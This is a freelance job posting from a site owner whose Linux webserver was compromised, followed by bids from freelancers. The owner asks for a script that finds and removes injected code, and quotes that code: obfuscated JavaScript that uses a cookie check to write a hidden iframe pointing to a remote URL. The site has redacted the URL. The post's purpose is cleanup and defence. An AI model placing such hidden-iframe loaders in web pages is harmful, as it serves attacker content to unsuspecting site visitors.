In Progress

Recursive find and replace for a specific pattern

Hi there

My linux webserver has been attacked and many html, htm, php and js files infected.

I need a shell script that will recursively search all non-binary files from the current folder, finding and deleting anything that looks like:

<script language="JavaScript" type="text/javascript">

if ([url removed, login to view]("ycu=7") == -1) {

vej=[url removed, login to view]('yxop');if(vej==null){[url removed, login to view]('<iframe id=yxop src=[url removed, login to view] style=display:none></iframe>');}

[url removed, login to view] = "ycu=7;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

</script>

or

if ([url removed, login to view]("ycu=7") == -1) {

vej=[url removed, login to view]('yxop');if(vej==null){[url removed, login to view]('<iframe id=yxop src=[url removed, login to view] style=display:none></iframe>');}

[url removed, login to view] = "ycu=7;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

or

<iframe id=utwb src=[url removed, login to view] style=display:none></iframe>

*** Please not that the variable names and cookie names (e.g. ycu=7 and yxop) are random so you need to use regular expressions

Thanks

Skills: Linux, Perl, Shell Script, Software Architecture

See more: javascript replace recursive, replace pattern recursively javascript, use regular expressions, search binary, regular expressions c, recursively, recursive binary search c, php script null, linux regular expressions, linux find recursive, js for, help find , find perl, find javascript, find help, find binary, c regular expressions, binary to text, replace text javascript recursively, recursive javascript replace, shell find recursive, linux find, xmlrpc, recursive, null

About the Employer:
( 21 reviews ) Brisbane, Australia

Project ID: #745450

Awarded to:

sureshdevi

I can create this script which will clean attacked files. Thanks, Suresh

$30 USD in 1 day
(55 Reviews)
5.5

11 freelancers are bidding on average $39 for this job

osmanbsd

Sending you message with detail.

$40 USD in 0 days
(77 Reviews)
6.8
srinichal

THis is pretty straight forward and the script will be delivered in a day

$50 USD in 1 day
(64 Reviews)
6.6
stels88

I can do this.

$50 USD in 0 days
(110 Reviews)
6.3
dims

Can create Perl script for your task

$40 USD in 2 days
(95 Reviews)
5.8
freelance4hire80

Dear, please check your PMB, thanks

$30 USD in 1 day
(22 Reviews)
5.0
sayno2bugs

Ready to start. Please check your inbox.

$30 USD in 1 day
(2 Reviews)
4.3
seadz

I can do it for you

$30 USD in 1 day
(7 Reviews)
3.2
ixvivxi

I've written numerous similar scripts.

$30 USD in 1 day
(2 Reviews)
3.1
botzkobg

It's easy to clean your site. Please check your PMB.

$70 USD in 1 day
(2 Reviews)
1.9
tiwonki

I can develop a Perl script to run on your linux server.

$31 USD in 7 days
(0 Reviews)
0.0